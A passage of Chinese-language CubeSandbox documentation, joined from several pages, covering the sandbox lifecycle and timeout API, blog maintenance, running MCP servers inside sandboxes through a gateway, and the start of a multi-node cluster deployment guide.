单位：秒 ) print(sandbox.sandbox_id) ``` `Sandbox.create()` 关键参数： | 参数 | 说明 | |-------------------------|----------------------------------------------------------------------------| | `template` | 模板 ID，沙箱基于它启动；缺省读环境变量 `CUBE_TEMPLATE_ID` | | `timeout` | 可选，空闲超时（秒），见上文取值说明 | | `lifecycle` | 生命周期策略，详见下文 "[平台自动暂停 / 自动恢复](#平台自动暂停-自动恢复)" | | `metadata` | 任意键值对，写入沙箱元数据，可在列表 / 详情接口中读出 | | `env_vars` | 注入沙箱进程的环境变量 | | `allow_internet_access` | 是否允许出公网；`network` 提供更细粒度的出站策略 | > Cube 不像托管 e2b 那样有严格的 24h/1h 单次运行上限。省略 `timeout` 时，实际空闲 TTL 由集群运维在服务端配置（见下文[设计与运维要点](#设计与运维要点)）。 ## 查询沙箱信息 ```python info = sandbox.get_info() print(info) # { # "sandboxID": "iiny0783cype8gmoawzmx-ce30bc46", # "templateID": "rki5dems9wqfm4r03t7g", # "state": "running", # "startedAt": "2026-06-17T12:34:56Z", # "endAt": "2026-06-17T12:39:56Z", # "metadata": {...} # } ``` `endAt` 表示按当前 `timeout` 估算的下一次超时时间。每次接收到新请求或调用 `set_timeout`（若有），`endAt` 会被刷新。暂停不会取消有限的空闲截止时间，因此沙箱处于暂停状态时，详情和列表 API 仍会返回相同的 `endAt`。对于**永不超时**的沙箱没有截止时间，因此响应中会**省略** `endAt`，而不是把它渲染成等于 `startedAt`。 ## 列出运行中的沙箱 ```python for sb in Sandbox.list(): print(sb["sandboxID"], sb["state"]) ``` ## 显式销毁 ```python sandbox.kill() ``` `kill()` 是不可逆的：与暂停不同，被 kill 的沙箱**不能**恢复。即便 `lifecycle.on_timeout="pause"`，调用 `kill()` 仍然立即终止并丢弃快照。 ### 删除暂停状态的沙箱 `kill()` 和 `DELETE /sandboxes/{sandboxID}` 均可用于删除处于 `running` 或 `paused` 状态的沙箱。 删除 `paused` 沙箱时，CubeSandbox **不会**先 Resume／唤醒 MicroVM。控制面直接删除 paused tombstone、清理 pause 快照（catalog／CoW），并清除 pause 元数据。Plugin volume 的 refcount 已在 Pause 时调整，删除路径无需为销毁再挂载一遍。 接口仍保持同步语义：只有清理完成后才返回 `204 No Content`。该路径不是一次 Resume： * 不会触发 `sandbox.resumed` 生命周期事件； * 不会重置空闲超时； * 不需要节点容量准入（不再有「删除前恢复」）。 删除暂停状态的沙箱时，通常会遇到以下几类情况： * 删除成功时返回 **`204 No Content`**，表示沙箱、pause 快照及相关资源已经完成清理。 * 如果沙箱正在进入暂停状态，或其他生命周期操作（pause／resume／delete）尚未完成并持有沙箱锁，会返回 **`503 Service Unavailable`**，并携带 `Retry-After: 2`。客户端应等待至少两秒后重试。 `Retry-After` 的单位为秒，仅用于提示客户端等待后重试。它不表示 CubeSandbox 会在后台继续删除，也不会启动后台重试任务。 `404 Not Found`、`408 Request Timeout` 以及 `running` 沙箱的删除行为保持不变。 ## 显式暂停 / 恢复 ```python sandbox.pause() # 主动保存快照，释放 CPU/内存 # ... 一段时间过去 ... sandbox = Sandbox.connect(sandbox.sandbox_id, timeout=300) # 从快照恢复，并重置空闲超时 sandbox.run_code("print('back!')") # 像没暂停过一样继续用 ``` `pause()` **不会取消**空闲回收。默认 `on_timeout="kill"` 时，之后被暂停的沙箱空闲仍超过 `timeout` 一样会被销毁。若要保住暂停中的沙箱，请传 `timeout=NEVER_TIMEOUT`、省略 `timeout`（且服务端未设正数默认）、或把 `timeout` 设得足够大——见下文 [行为说明](#行为说明)。 `connect(timeout=...)` 可以更新空闲超时，无论沙箱已经在运行，还是需要先从暂停状态恢复。对于运行中的沙箱，正数 timeout 只会在请求窗口更长时延长 deadline；如果要主动缩短生命周期，请使用 `set_timeout(...)`： | `connect(timeout=...)` | 效果 | |---|---| | 不传 / `None` | 保持当前超时 | | `NEVER_TIMEOUT`（`-1`） | 连接后永不超时 | | `N > 0` | 确保至少剩余 N 秒；运行中或暂停中的沙箱保留更长的现有 deadline，否则在连接后重新开 N 秒窗口 | | `0` 或 `N < -1` | 拒绝请求并返回 HTTP 400 | 连接暂停中的沙箱时，底层 Resume 如果与另一个生命周期操作同时切换，可能返回 HTTP 409；请等沙箱进入稳定状态后重试。 已弃用的 `resume(timeout=...)` 保留原有的 `0` 语义： | `resume(timeout=...)` | 效果 | |---|---| | 不传 / `None` | 保持当前超时 | | `0` | 保持当前超时（立刻到期请用 `set_timeout(0)`） | | `NEVER_TIMEOUT`（`-1`） | 恢复后永不超时 | | `N > 0` | 从恢复时刻起重新开 N 秒窗口 | | `N < -1` | 拒绝请求并返回 HTTP 400 | 可参考示例：[`examples/code-sandbox-quickstart/pause.py`](https://github.com/tencentcloud/CubeSandbox/blob/master/examples/code-sandbox-quickstart/pause.py)。跨机 Resume（S3 后端且 `remote_status=ready`）见 [跨机快照](./cross-node-snapshot.md)。 ### Resume 后的 CubeProxy 缓存 Resume 会重建 guest NIC／主机端口，并重写 Redis 沙箱代理路由。CubeMaster 随后 best-effort 调用 CubeProxy `POST /admin/backend_cache/delete` 清理 `local_cache`，避免流量仍打到 pause 前的旧 IP（同机 504）。 要使该清理成功，**CubeMaster 与 CubeProxy 必须配置相同的 admin token**： * CubeMaster：`cubeproxy.admin_token`（请求头 `X-Cube-Admin-Token`） * CubeProxy：`nginx.conf` 中的 `$cube_admin_token`（见 `CubeProxy/lua/admin_phase.lua`） 若只配一侧或两端不一致，清理会返回 **403**：Redis 路由已正确，但 CubeProxy 可能继续使用过期缓存直至条目过期。使用 Resume 时请在部署／Helm 中对齐该 token。 ## 平台自动暂停 / 自动恢复 很多 Agent 工作负载并不持续繁忙：用户敲一段代码 → 模型推理 → 沙箱执行 → 等待下一轮交互。在等待期间让沙箱**自动暂停**，下次请求来时再**自动恢复**，可以显著降低资源占用。 Cube 提供与 e2b [`lifecycle`](https://e2b.dev/docs/sandbox/auto-resume) 完全一致的配置形态： ```python sandbox = Sandbox.create( template="<your-template-id>", timeout=300, # 5 分钟空闲后触发 on_timeout lifecycle={ "on_timeout": "pause", # 空闲超时后 → 暂停（而不是销毁） "auto_resume": True, # 暂停后下一次请求 → 透明恢复 }, ) ``` ### 行为说明 * **`on_timeout="pause"`**：沙箱空闲 `timeout` 秒后，平台调度暂停流程，`state` 变为 `paused`，VM 内存被冷藏到快照存储。 * **`auto_resume=True`**：当再有任何请求路由到这个 `paused` 沙箱（HTTP 请求、`run_code`、文件读写等），平台自动唤醒它，调用方**无需**显式 `connect()`；典型恢复时间在亚秒级到秒级。 * 如果 `auto_resume=False`（或省略），沙箱暂停后必须显式 `Sandbox.connect(sandbox_id=...)` 才能再用 —— 适合"等用户决定"的场景。 ### 自动恢复后的 timeout 重置 每次自动恢复成功后，**空闲计时重置**，但超时时长不变。所以"恢复 → 短暂使用 → 再次空闲超时 → 再次暂停"的循环可以无缝持续。 ### 何时算"活跃" 下列动作都会重置 idle 计时： * 通过 SDK 调用：`sandbox.run_code(...)`、`sandbox.commands.run(...)`、`sandbox.files.read(...)` / `write(...)`。 * 通过 HTTP 直连沙箱内的服务（例如 `getHost()` 返回的 URL）。 未配置 `auto_pause` / 不传 `lifecycle` 的沙箱默认行为是 `on_timeout="kill"`：空闲超过 `timeout` 秒后，平台会主动销毁该沙箱。这与 e2b `lifecycle.on_timeout="kill"` 语义一致。手动 `pause()` **不会取消** auto-kill：之后被暂停的沙箱，空闲仍超过 `timeout` 时一样会被销毁。若要保住暂停中的沙箱，请传 `timeout=NEVER_TIMEOUT`、省略 `timeout`（且服务端未设正数默认）、把 `timeout` 设得足够大，或通过定期活动刷新空闲计时。 ### 端到端示例 平台提供两个**互为镜像**的端到端演示，对应 `on_timeout` 的两种取值： * [`examples/code-sandbox-quickstart/auto-resume.py`](https://github.com/tencentcloud/CubeSandbox/blob/master/examples/code-sandbox-quickstart/auto-resume.py) —— `on_timeout="pause"` + `auto_resume=True`。创建沙箱、空闲触发**自动暂停**、再发请求触发**自动恢复**，最终对比"内核内存 + 文件系统"两层状态，验证全状态保留。 * [`examples/code-sandbox-quickstart/auto-kill.py`](https://github.com/tencentcloud/CubeSandbox/blob/master/examples/code-sandbox-quickstart/auto-kill.py) —— `on_timeout="kill"`（默认行为）。创建沙箱、空闲触发**自动销毁**、验证后续请求以 410 Gone 快速失败、`Sandbox.list()` 不再返回该沙箱，并通过创建一个对照沙箱排除集群整体故障。 ```bash export CUBE_TEMPLATE_ID=<your-template> # 自动暂停 + 自动恢复 python examples/code-sandbox-quickstart/auto-resume.py # 自动销毁（不可恢复） python examples/code-sandbox-quickstart/auto-kill.py ``` ## 设计与运维要点 ### 集群默认空闲超时（`default_timeout_insec`） 客户端不传 `timeout` 时，由 CubeMaster 读取 `CubeMaster/conf.yaml` 中的 `cubelet_conf.default_timeout_insec`（one-click 安装路径：`/usr/local/services/cubetoolbox/CubeMaster/conf.yaml`）。 | 配置值 | 客户端省略 `timeout` 时的效果 | |--------|------------------------------| | 未配置或 `<= 0` | **不设集群级空闲 TTL** —— 沙箱不会因空闲被自动回收 | | 正整数 `N` | 默认空闲 **N 秒**后触发超时 | 仓库默认**不配置集群级空闲超时**（`default_timeout_insec: -1`）。若希望集群自动回收未显式传 `timeout` 的沙箱，可改为正数（例如 `300`）。修改后需重启 `cube-sandbox-cubemaster.service`。 同一段里的 `create_timeout_insec` 与空闲 TTL 无关，仅限制创建/调度 RPC 的截止时间。更多 CubeMaster 配置项见[服务管理 — CubeMaster 配置项](service-management.md#cubemaster-settings)。 * **暂停的状态保真度**：CPU 寄存器、进程内存、TCP 连接（无外部对端）、文件系统改动都会随快照保留；面向外部的连接（如 sandbox 主动建立的 outbound socket）会在暂停时断开，恢复后由应用层自行重连。 * **集群一致性**：自动暂停由 `cube-lifecycle-manager` 协调。Helm chart 与 Terraform 一键部署默认都是两个温备副本。两个副本都消费生命周期事件、发现 CubeProxy 并处理恢复回调，由 Redis 租约选出一个副本执行空闲扫描、销毁和过期注册清理。leader 故障切换后沙箱可能多一次 pause/resume，下次请求会照常 auto-resume（见 [Kubernetes FAQ](kubernetes/faq.md)）。每沙箱 Redis 状态转换与 CubeMaster lifecycle lock 共同串行化跨副本的有效暂停/恢复操作。 * **失败回退**：自动恢复 RPC 失败时，CubeProxy 直接对客户端返回 503 + `Retry-After`，不会让用户卡在长超时上；当沙箱已经被销毁（`killing` / `killed`），则返回 410 Gone 让客户端立即停止重试。 * **故障排查**：控制节点上执行 `docker logs cube-lifecycle-manager` 查看运行日志，关键事件包括 `create event applied`、`auto-paused sandbox`、`auto-resumed sandbox`、`timeout-killed sandbox`。每个 CubeProxy 副本额外提供 `GET http://<node-ip>:8082/admin/healthz`，其中 `heartbeat_last_pushed_ms` 表示该副本最近一次向 manager 上报心跳的时间戳。管理端口默认为 `8082`；由于 CubeProxy 使用主机网络，当该端口已被占用时可通过 `CUBE_PROXY_ADMIN_PORT` 覆盖。 ### 暂停资源释放与节点调度配额 沙箱暂停后，其 CPU 和内存在物理上已被回收——但在默认情况下，节点资源计账仍然将暂停中（`paused`/`pausing`）的沙箱视为"已占用"调度配额。这意味着：即使大量闲置沙箱被暂停，宿主机上仍然没有"空位"来创建新沙箱。 为了解决这个问题，Cube 提供了一个**节点级调节旋钮** `host.quota.paused_resource_release_ratio`（在 `Cubelet/config/config.toml` 中配置），值域 `[0, 1]`，默认 `0`： | 值 | 行为 | 适用场景 | |---|---|---| | `0.0` | 暂停沙箱保留完整配额（与旧版本行为一致）。恢复始终有保障，不会因资源不足被拒绝。 | 对可用性要求极高、不希望恢复失败的场景 | | `1.0` | 暂停沙箱的 CPU/内存配额**全部释放**给调度器。恢复变为尽力而为——节点资源不足时恢复会被拒绝。 | 追求最大化部署密度、允许恢复偶尔失败的场景 | | `0 < r < 1` | 释放 `r` 比例，保留 `(1-r)` 作为余量。保留的配额仍会计入调度器的 CPU/内存使用量，因此**暂停密集的节点会被自然降权**，调度器不会在已有大量暂停沙箱的节点上继续堆积新沙箱。 | 需要在可用性和高利用率之间做折中的场景 | **配置示例**： ```toml # Cubelet/config/config.toml [host.quota] paused_resource_release_ratio = 0.5 # 释放一半，保留一半 ``` **恢复准入检查**： 当 `ratio > 0` 时，恢复操作会触发**本地实时准入检查**——如果节点当前无法容纳该沙箱释放出去的资源量，恢复会被拒绝： ``` resume rejected by paused_resource_release_ratio policy: need 1024MB > quota 512MB ``` 拒绝信息通过以下链路透传给客户端：`Cubelet (130409 Conflict)` → `CubeAPI (HTTP 409)` → `WebUI（显示容量诊断）`。409 是可重试的状态码——当其他沙箱被销毁或暂停、节点资源释放后，恢复可以重新尝试。 **注意事项**： * 磁盘和 MvmNum **不受 ratio 影响**——暂停快照始终占用存储空间，沙箱对象始终存在。 * `ratio=0` 是零值安全的默认值：如果从未配置过此项，行为与旧版本完全一致，升级不会产生意外。 * 此项为**节点级配置**，不同节点可以设置不同的比值，灵活应对异构硬件或分池部署的需求。 * 当节点上一大批沙箱同时被唤醒、单节点无法承载时，控制面会返回 409 并给出具体配额数字。对使用 S3 后端的沙箱，调度器可以回退到其它兼容节点恢复——跨机条件与调度规则见[跨机快照](./cross-node-snapshot.md)。 ## 下一步 * [模板概览](./templates.md) —— 沙箱基于模板启动，模板的构建过程也会影响首次冷启动开销。 * [快速开始](./quickstart.md) —— 完整跑通"创建沙箱 → 执行代码 → 销毁"的最短路径。 * 上游参考：[e2b · Sandbox lifecycle](https://e2b.dev/docs/sandbox)、[e2b · Auto-resume](https://e2b.dev/docs/sandbox/auto-resume)。 --- --- url: https://cubesandbox.com/zh/guide/maintainer/blog.md --- # 博客维护 本文介绍如何在 Cube Sandbox 文档站点上新建、编辑和管理博客文章。 ## 文件位置 英文博客文章存放于 `docs/blog/posts/`，中文版存放于 `docs/zh/blog/posts/`，两者文件名保持一致。 ``` docs/ ├── blog/ │ └── posts/ │ └── 2026-05-18-my-post.md ← 英文 docs/zh/ ├── blog/ │ └── posts/ │ └── 2026-05-18-my-post.md ← 中文（同名文件） ``` 文件名建议使用 `YYYY-MM-DD-slug.md` 的日期前缀格式，便于在文件系统中自然排序。 *** ## Frontmatter 字段说明 每篇文章以 YAML frontmatter 开头，支持以下字段： ```yaml --- title: "文章标题" date: 2026-05-18 # 发布日期（YYYY-MM-DD） author: "作者姓名" # 显示在文章元信息行 description: "文章摘要，展示在博客列表卡片中。" # --- 可选字段 --- featured: true # 将此文章放置在列表顶部的精选区域 weight: 1 # 精选文章的排列顺序，数字越小越靠前（默认 9999） type: external # 设为 "external" 表示这是一篇外链文章 externalUrl: https://... # type 为 external 时必填，"更多" 按钮将跳转到此地址 --- ``` ### 字段详情 | 字段 | 是否必填 | 默认值 | 说明 | |---|---|---|---| | `title` | 是 | — | 在列表卡片和页面 `<title>` 中显示 | | `date` | 是 | — | 用于非精选文章的排序（越新越靠前） | | `author` | 否 | — | 显示在标题下方的元信息行 | | `description` | 否 | — | 列表摘要；不填则从正文截取 | | `featured` | 否 | `false` | 精选文章固定显示在列表顶部 | | `weight` | 否 | `9999` | 控制精选区内的排列顺序 | | `type` | 否 | — | 设为 `external` 可跳转到外部链接 | | `externalUrl` | 否 | — | `type: external` 时必填 | *** ## 新建普通文章 1. 创建 `docs/blog/posts/YYYY-MM-DD-slug.md` 2. 填写 frontmatter，然后用 Markdown 撰写正文 3. 在 `docs/zh/blog/posts/` 下创建同名中文文件 示例： ```markdown --- title: "这是一段示例标题" date: 2026-06-01 author: 作者姓名 description: 这是一段示例描述。 --- # 这是一段示例标题 正文从这里开始…… ``` *** ## 新建精选文章 添加 `featured: true`，并通过 `weight` 控制显示顺序： ```markdown --- title: "这是一段示例标题" date: 2026-06-01 author: 作者姓名 description: 这是一段示例描述。 featured: true weight: 1 --- ``` 精选文章始终显示在博客列表顶部，不受发布日期影响。`weight` 越小排位越靠前；`weight` 相同时按日期倒序排列。 *** ## 新建外链文章 当文章全文发布在其他平台时，使用 `type: external`。Markdown 文件只需要 frontmatter，正文可省略： ```markdown --- title: "这是一段示例标题" date: 2026-06-01 author: 作者姓名 description: 这是一段示例描述。 type: external externalUrl: https://example.com/your-post --- ``` 点击标题或"更多"按钮将在新标签页打开 `externalUrl`。 *** ## 排序规则 1. **精选文章**（任意 `weight`）始终排在非精选文章之前，按 `weight` 升序排列。 2. **普通文章**按 `date` 降序排列（最新的在最前面）。 3. 搜索时，精选区和普通区同时按关键词过滤。 --- --- url: https://cubesandbox.com/zh/guide/mcp-gateway.md --- # 在沙箱中使用 MCP ::: warning 预览 MCP 支持目前处于预览阶段，`mcp` 参数和示例网关都可能调整。 ::: [MCP](https://modelcontextprotocol.io/)（Model Context Protocol）是 AI Agent 发现和调用工具的协议，工具可以是网页搜索、文件读写、论文检索等。每类工具由一个 **MCP 服务**（MCP server）提供，它通常是一个通过 stdio 通信的小程序。 与 E2B 兼容的 `mcp` 参数用于在创建沙箱时声明需要哪些 MCP 服务。这些服务运行在沙箱**内部**，与你自己的机器隔离。创建后你会拿到一个 URL 和一个 Token，Agent 连上这个 URL，就能看到并调用所有已声明服务提供的工具： ```python from cubesandbox import Sandbox sandbox = Sandbox.create(mcp={"time": {}, "fetch": {}}) url = sandbox.get_mcp_url() # http://50005-<sandbox-id>.<domain>/mcp token = sandbox.get_mcp_token() # 以 "Authorization: Bearer <token>" 发送 ``` 同样的代码也可以用原生 E2B SDK 运行，只需将其指向 CubeAPI。 ## 工作原理 ```text 你的 Agent ──(MCP over HTTP + Token)──> 50005-<id>.<domain>/mcp │ CubeProxy ▼ 沙箱内的 mcp-gateway ├── time 服务 (stdio) └── fetch 服务 (stdio) ``` 1. **CubeAPI**：校验 `mcp` 的结构，格式不对时在创建任何沙箱之前返回 `400`。它不保存这个值，也不会下发给调度层或在响应中返回。 2. **模板**：SDK 按[模板优先级](#模板优先级)中的顺序确定模板。**该模板中必须包含 `mcp-gateway` 程序**，默认沙箱镜像里没有。 3. **SDK**：沙箱启动后，SDK 以 `root` 身份执行 `mcp-gateway --config '<json>'`，并通过 `GATEWAY_ACCESS_TOKEN` 传入随机 Token，最多等待 60 秒，与 E2B SDK 一致。 4. **网关**：拉起所需的服务，并在端口 `50005` 上对外提供它们的工具。**CubeProxy** 会像转发其他沙箱端口一样，把 `50005-<id>.<domain>` 路由到这个端口。 5. **失败处理**：如果命令失败或超时，SDK 会销毁沙箱，并抛出附带网关输出的 `Failed to start MCP gateway: ...` 错误。 Cube 本身只负责第 1、3 步和路由；沙箱里实际跑什么，由模板决定。 ## 模板优先级 带 `mcp` 创建沙箱时，Cube SDK 按以下顺序选择模板： 1. 创建沙箱时传了 `template`（Go 中为 `TemplateID`），使用对应的模板 2. 没有传 `template`，则使用别名为 `mcp-gateway` 的模板 3. 如果别名为 `mcp-gateway` 的模板不存在，则使用环境变量 `CUBE_TEMPLATE_ID` 对应的模板 4. 如果别名为 `mcp-gateway` 的模板不存在，且环境变量 `CUBE_TEMPLATE_ID` 对应的模板也不存在，则创建失败并报模板不存在的错误 > 如果希望修改 mcp 默认使用的模板别名（默认别名为 `mcp-gateway`），可以设置环境变量 `CUBE_MCP_TEMPLATE_ID`： > > ```bash > export CUBE_MCP_TEMPLATE_ID=custom-mcp-gateway > ``` ## 网关约定 任何程序都可以充当网关，只要它以 `mcp-gateway` 为名装在 `PATH` 中，并满足以下约定： | 项目 | 要求 | | --- | --- | | 命令 | 以 `root` 身份执行 `mcp-gateway --config '<json>'`，其中 `<json>` 是创建沙箱时传入的 `mcp` 对象。 | | Token | 从环境变量 `GATEWAY_ACCESS_TOKEN` 读取，并写入 `/etc/mcp-gateway/.token`。`Sandbox.connect` 之后，`get_mcp_token()` 就是从这个文件取回 Token 的。 | | 就绪 | 命令退出后网关需继续提供服务；只有端点就绪后才以 `0` 退出，失败时以非零码退出并输出可读的错误信息。必须在 60 秒内完成。 | | 端点 | 端口 `50005`、路径 `/mcp` 上的 MCP streamable HTTP 端点，拒绝不带 `Authorization: Bearer <token>` 的请求。 | | 模板 | 创建模板时暴露端口 `50005`。 | ## 使用示例网关快速上手 仓库在 [`examples/mcp-gateway`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/mcp-gateway) 中提供了一个参考实现：它拉起 stdio 类型的 MCP 服务，把它们的工具合并到一个端点，并校验 Token。配套的模板 Dockerfile 会预装一批服务。 ### 1. 构建模板 ```bash cd examples/mcp-gateway docker build -f template/Dockerfile \ --build-arg BASE_IMAGE=cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --build-arg MCP_SERVERS="duckduckgo fetch time arxiv" \ -t <镜像仓库>/mcp-gateway:latest . docker push <镜像仓库>/mcp-gateway:latest cubemastercli tpl create-from-image \ --image <镜像仓库>/mcp-gateway:latest \ --alias mcp-gateway \ --writable-layer-size 1G \ --expose-port 49983 --expose-port 49999 --expose-port 50005 \ --probe 49983 --probe-path /health ``` * `MCP_SERVERS` 列出需要预装的服务。要用到的服务请全部预装：网关最多等待 55 秒，未预装的服务会在首次启动时下载。 * `BASE_IMAGE` 用于替换基础镜像。默认是 CubeSandbox 的 `sandbox-code` 镜像，其中已包含 `uv`、`node` 和 `git`。 * 如果使用 `mcp-gateway` 以外的别名，创建沙箱时显式传入 `template`，或为 Cube SDK 设置 `CUBE_MCP_TEMPLATE_ID`。详见[模板优先级](#模板优先级)。 等待模板状态变为 `READY`。 ### 2. 创建沙箱并调用工具 ```python import asyncio from cubesandbox import Sandbox from mcp import ClientSession # pip install mcp from mcp.client.streamable_http import streamablehttp_client async def main(): with Sandbox.create(mcp={"time": {}, "fetch": {}}) as sandbox: headers = {"Authorization": f"Bearer {sandbox.get_mcp_token()}"} async with streamablehttp_client(sandbox.get_mcp_url(), headers=headers) as (read, write, _): async with ClientSession(read, write) as session: await session.initialize() print([tool.name for tool in (await session.list_tools()).tools]) result = await session.call_tool("get_current_time", {"timezone": "Asia/Shanghai"}) print(result.content[0].text) asyncio.run(main()) ``` 如果本机解析不了 `*.<domain>`，可以把请求直接发给 CubeProxy，并把 `Host` 头设置为沙箱域名，做法与 SDK 使用 `CUBE_PROXY_NODE_IP` 时相同。 其他 SDK 提供相同的方法： ::: code-group ```ts [Node.js] const sandbox = await Sandbox.create({ mcp: { time: {}, fetch: {} } }); const url = sandbox.getMcpUrl(); const token = await sandbox.getMcpToken(); ``` ```go [Go] sandbox, err := client.Create(ctx, cubesandbox.CreateOptions{ MCP: cubesandbox.MCPServers{"time": map[string]any{}}, }) url := sandbox.GetMCPURL() token, err := sandbox.GetMCPToken(ctx) ``` ::: ### 示例网关支持的服务 `mcp` 是一个以服务名为键的对象，示例网关支持以下三类条目。 **目录服务**：值为该服务的属性。可在模板内执行 `mcp-gateway catalog` 查看完整列表。 | 名称 | 属性 | 实际运行 | | --- | --- | --- | | `duckduckgo` | | `uvx duckduckgo-mcp-server` | | `arxiv` | `storagePath`（可选） | `uvx arxiv-mcp-server` | | `fetch` | | `uvx mcp-server-fetch` | | `time` | | `uvx mcp-server-time` | | `filesystem` | `paths`（必填，列表） | `@modelcontextprotocol/server-filesystem` | | `memory` | | `@modelcontextprotocol/server-memory` | | `sequentialthinking` | | `@modelcontextprotocol/server-sequential-thinking` | 可以在模板中通过 `/etc/mcp-gateway/catalog.json` 新增或覆盖条目，格式与 `examples/mcp-gateway/internal/config/catalog.json` 相同。 **GitHub 服务**：与 E2B 一样，键名为 `github/<owner>/<repo>`。网关会克隆该仓库，在仓库目录中执行 `installCmd`，然后启动 `runCmd`： ```python Sandbox.create(mcp={ "github/acme/weather-mcp": { "installCmd": "npm ci", "runCmd": "node dist/index.js", "envs": {"WEATHER_API_KEY": "..."}, }, }) ``` **本地命令**：其他任何带 `runCmd` 的键都会直接运行该命令，适用于模板里已经装好的服务。 如果多个服务提供了同名工具，按服务名排序后的第一个服务保留原名，其余服务的工具会被重命名为 `<server>_<tool>`。网关只聚合工具，不对外提供 MCP 的 prompts 和 resources。端口 `50005` 上的 `GET /health` 无需 Token，返回服务数和工具数。 ## 输入校验 以下情况 CubeAPI 会返回 `400`： * `mcp` 不是对象； * 某个条目不是对象； * GitHub 键不符合 `github/<owner>/<repo>` 格式； * GitHub 服务缺少 `runCmd` 或 `runCmd` 为空； * `envs` 中有非法变量名或非字符串值； * 服务数量超过 64 个。 服务名是否可识别由网关判断。示例网关遇到未知服务名会启动失败，SDK 会把这个错误报出来。 ## 生命周期 使用示例网关时： * **暂停 / 恢复**：网关及其服务进程属于内存快照的一部分，恢复后继续使用原 Token 提供服务。 * **重新连接**：`get_mcp_token()` 会读取 Token 文件，因此新的 SDK 句柄可以直接复用该端点。 * **克隆与快照恢复**：正在运行的网关及其 Token 会一并复制。所有克隆接受同一个 Token，应视为同一信任域。 * **进程崩溃**：某个服务进程退出后，网关会在下一次调用时重新启动它。 ## 安全说明 * Token 只保护 MCP 端点本身。CubeProxy 鉴权和网络策略照常生效，沙箱内的服务同样受沙箱出网规则约束。 * **同一沙箱内的所有 MCP 服务属于同一信任域，彼此之间没有隔离。** 示例网关以 `root` 身份运行所有服务，任何一个服务都能读取其他服务的 `envs`（例如通过 `/proc/<pid>/environ`）和 `/etc/mcp-gateway/.token`，并可以把它们外传。GitHub 服务的 `installCmd` 和 `runCmd` 本身就是以 `root` 执行的任意命令。不要把不可信的服务和敏感凭据放进同一个沙箱；需要隔离时，为不同的信任域分别创建沙箱。 * 与 E2B 的约定一致，SDK 通过命令行参数传递 `mcp` 配置（`mcp-gateway --config '<json>'`）。在网关启动期间（最长约 60 秒），完整配置（包括 `envs`）会出现在该命令的进程参数中，沙箱内的任何进程都可以读到。 * 示例网关会从自身及每个 MCP 服务的环境变量中移除 Token，并且只把 `envs` 设置到所属服务的环境变量中，不写入磁盘或日志。这可以避免意外泄漏，但不能防范上面提到的恶意服务。 * 示例网关的日志 `/var/log/mcp-gateway.log` 会记录各服务的 `stderr`；如果服务自行打印密钥，密钥也会出现在其中。 ## 使用自己的网关 你可以用任何满足[网关约定](#网关约定)的程序替换示例网关。例如，在 [Docker MCP Gateway](https://github.com/docker/mcp-gateway) 这类网关前面放一个名为 `mcp-gateway` 的轻量启动脚本；E2B 托管的 `mcp-gateway` 模板就是基于 Docker MCP Gateway 构建的。需要注意，Docker MCP Gateway 会把每个服务作为容器运行，因此模板里还需要一个能在沙箱内正常工作的 Docker 守护进程。CubeSandbox 尚未验证过这种方式。 --- --- url: https://cubesandbox.com/zh/guide/multi-node-deploy.md --- # 多机集群部署 本指南介绍如何将单机 Cube Sandbox 部署扩展为多机集群，通过添加**计算节点**来实现。计算节点只运行沙箱运行时组件（内置 network runtime 的 `Cubelet`、`CubeShim`），并向第一台机器上的控制面注册。 :::: warning 生产环境注意 如果您计划在生产环境中使用 Cube Sandbox，请参阅[网络加固](./network-hardening.md)指南，在将服务暴露到不可信网络之前完成安全加固。 :::: :::: tip 前置条件 添加计算节点前，你必须先通过[本地构建部署指南](./self-build-deploy.md)完成控制节点的部署。 :::: ## 架构概览 ``` ┌─────────────────────────────────────────┐ │ 控制节点 │ │ CubeMaster, CubeOps, cube-api, │ │ CubeProxy, CoreDNS, MySQL, Redis, │ │ Cubelet (network runtime) │ └──────────────────┬──────────────────────┘ │ /internal/v1/node-agent API ┌───────────┼───────────┐ ▼ ▼ ▼ ┌────────────┐┌────────────┐┌────────────┐ │ 计算节点 #1 ││ 计算节点 #2 ││ 计算节点 #N │ │ Cubelet ││ Cubelet ││ Cubelet │ │ net runtime││ net runtime││ net runtime│ └────────────┘└────────────┘└────────────┘ ``` * **控制节点**运行完整技术栈：编排调度（CubeMaster）、节点管理（CubeOps）、API 网关（cube-api）、代理（CubeProxy + CoreDNS）、数据库（MySQL + Redis）、内置 MinIO S3 存储（供 volume 使用），同时自身也作为计算节点。 * 每个**计算节点**只运行内置 network runtime 的 `Cubelet`，向控制面 `CubeOps` 注册并接收来自 `CubeMaster` 的沙箱调度请求。 ## 前置条件 每台计算节点需满足与控制节点相同的硬件和软件要求： * **物理机或裸金属服务器**（不支持嵌套虚拟化） * **x86\_64** 或 **aarch64**（ARM64）架构，**已启用 KVM**（`ls /dev/kvm`） * **Docker** 已安装并运行 * 到控制节点的**网络连通性**（默认需访问 `CubeOps` 的 `3010` 端口进行节点注册；使用内置 MinIO 时还需访问 `9000` 端口） 完整要求列表请参阅[本地构建部署 — 前置条件](./self-build-deploy.md#前置条件)。 ## 第一步：准备发布包 使用与控制节点**相同的发布包**。将其拷贝到计算节点并解压： ```bash tar -xzf cube-sandbox-one-click-<version>.tar.gz cd cube-sandbox-one-click-<version> ``` ## 第二步：配置环境变量 ```bash cp env.example .env ``` 编辑 `.env`，设置以下变量： ```bash ONE_CLICK_DEPLOY_ROLE=compute CUBE_SANDBOX_NODE_IP=<当前节点IP> ONE_CLICK_CONTROL_PLANE_IP=<控制节点IP> # CUBE_S3_*：可选但强烈建议。缺失时仅告警并继续安装，S3 卷插件不可用。 # 取值方式见下方提示。内置 MinIO 时形如： CUBE_S3_ENDPOINT=http://<控制节点IP>:9000 CUBE_S3_ACCESS_KEY_ID=<取自控制节点> CUBE_S3_SECRET_ACCESS_KEY=<取自控制节点> CUBE_S3_BUCKET=cube-volumes CUBE_S3_S3FS_EXTRA_OPTS=-ouse_path_request_style ``` | 变量 | 说明 | |------|------| | `ONE_CLICK_DEPLOY_ROLE` | 计算节点必须设为 `compute` | | `CUBE_SANDBOX_NODE_IP` | 当前节点主网卡 IP | | `ONE_CLICK_CONTROL_PLANE_IP` | 控制节点 IP，自动拼接为 `<ip>:3010` 作为 CubeOps 节点注册地址 | | `CUBE_S3_*` | 可选但强烈建议。Volume 插件依赖 S3；缺失时仅告警并继续安装，但 S3 卷插件不可用。取值见下方提示。 | ::: tip 缺失时仅告警 `install-compute.sh` 检查 